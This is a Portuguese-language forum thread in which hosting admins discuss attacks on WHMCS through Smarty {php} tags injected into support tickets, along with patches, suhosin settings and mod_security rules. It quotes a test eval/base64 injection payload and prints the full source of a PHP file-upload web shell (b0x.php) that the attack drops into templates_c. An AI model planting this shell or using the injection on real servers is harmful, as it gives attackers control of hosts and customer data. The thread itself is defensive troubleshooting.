Ir para conteúdo
View in the app

A better way to browse. Learn more.

Portal do Host

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Tentativas de invasão em meu WHMCS

Featured Replies

Postado

Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo:

{php}eval(base64_decode('ZWNobyAidGVzdGUiOw=='));{/php}

E não houve nenhuma ação mesmo após eu abrir o ticket.



Postado
Pois é João, o código parece ser executado quando se abre o ticket pois esse código vem no assunto do ticket...

João, onde posso colocar esse código para aumentar a proteção?

Sim, o código é executado devido a este comando "eval". A função eval executa comandos contidos dentro de uma váriavel ou string.

Como o WHMCS é em código fechado, você precisa chamar a função nos arquivos de template. O Edvan sabe melhor do que eu onde está o {foreach} que imprime o nome dos títulos, se ele puder ajudar aqui, seria bom.

Leia este artigo http://jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP ele fala sobre estas funções.

Pesquisando encontrei algumas regras para o mod_security que previne ataques via XSS.

# Weak rule

SecFilter "<( |\n)*script"

# Stronger rule

SecFilter "<(.|

)+>"

Tem duas regras, é recomendado utilizar a primeira.

Essas regras só funcionam para o XSS oriundo de tags html, geralmente de javascripts... O problema aqui são as Tags especiais do Smarty. Para evitar XSS de HTML, basta usar a função strip_tags.

Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo:

E não houve nenhuma ação mesmo após eu abrir o ticket.

Talvez seja pq o código postado pelo amigo não é o código real... não sei se a eval permite escapar caracteres...

echo "teste"; ;)

Solução para o problema: Utilizar o Suhosin. Após instalado, adicionar no arquivo php.ini



suhosin.executor.disable_eval=On



Postado

Lembrando também que não basta só enviar os arquivos para o FTP.. é necessário arrumar as permissões de cada pasta de acordo com a função dela. Se você colocar permissão 777 em seu configuration.ini qualquer um poderá deletar o seu WHMCS..

Já tive um amigo que deszipou o WHMCS no public_html, foi instalar e deu o erro de permissão da templates_c, ele só deu um chmod 777 e deixou assim.. depois reclamou que deletaram a DB dele.


Postado
Sim, o código é executado devido a este comando "eval". A função eval executa comandos contidos dentro de uma váriavel ou string.

Como o WHMCS é em código fechado, você precisa chamar a função nos arquivos de template. O Edvan sabe melhor do que eu onde está o {foreach} que imprime o nome dos títulos, se ele puder ajudar aqui, seria bom.

Essas regras só funcionam para o XSS oriundo de tags html, geralmente de javascripts... O problema aqui são as Tags especiais do Smarty. Para evitar XSS de HTML, basta usar a função strip_tags.

Talvez seja pq o código postado pelo amigo não é o código real... não sei se a eval permite escapar caracteres...

echo "teste"; ;)

Solução para o problema: Utilizar o Suhosin. Após instalado, adicionar no arquivo php.ini



suhosin.executor.disable_eval=On


Hum..

Só tem um problema ao adicionar a linha suhosin.executor.disable_eval=On no arquivo php.ini, algumas coisas no WHMCS irão parar de funcionar. Um ex.: é a página register.php da área do cliente. Então não tem como deixar o eval desabilitado.


Postado

Alguém entrou em contato com a WHMCS para buscar algum suporte sobre tal problema?


Postado
Hum..

Só tem um problema ao adicionar a linha suhosin.executor.disable_eval=On no arquivo php.ini, algumas coisas no WHMCS irão parar de funcionar. Um ex.: é a página register.php da área do cliente. Então não tem como deixar o eval desabilitado.

Tens razão.. baixe uma nulled e o arquivo includes/functions.php tem vários evals em uso... é dose!

Critiquem lá povo, afinal, vocês são os clientes.


Postado
Tens razão.. baixe uma nulled e o arquivo includes/functions.php tem vários evals em uso... é dose!

Critiquem lá povo, afinal, vocês são os clientes.

O @McGuyver me enviou o código completo ( http://awesomescreenshot.com/064pmvsb8 http://awesomescreenshot.com/0b6pmvw04 ) e realmente o problema ocorre caso você NÃO tenha aplicado a última correção de segurança http://www.whmcs.blog.br/principal/atualizacao-de-seguranca-2/

O código cria um arquivo no seu /templates_c/ com o nome b0x.php e contéudo abaixo:

<?php

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }

else { echo '<b>Upload GAGAL !!!</b><br><br>'; }

}

?>

Com esse código é possível enviar arquivos/scripts para seu servidor/pasta templates_c

Após fazer a atualização fiz mais 10 testes em 2 WHMCS e o problema foi sanado!

Esse mesmo problema atingiu o HostBill http://hostbillapp.com/changelog/

Security: Potential security risk when using support tickets and Smarty library not in secure mode [12-05-2011]

Mesmo sem a correção do WHMCS esse problema não me atingiria pois não utilizo a pasta /templates_c/ como cache, além disso meu cache é excluído diariamente/automaticamente http://www.whmcs.blog.br/problemas-duvidas/arquivos-de-cache-pasta-templates_c/

Editado por edvan
HostBill


Postado

@williamkevenis,

é bom não misturar os tópicos... creio que não seja possível sem a construção de um novo arquivo.

Envia sua sugestão para WHMCS.com



Visitante
Este tópico está impedido de receber novos posts.

Quem Está Navegando 0

  • Nenhum usuário registrado visualizando esta página.

Informação Importante

Concorda com os nossos termos?

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.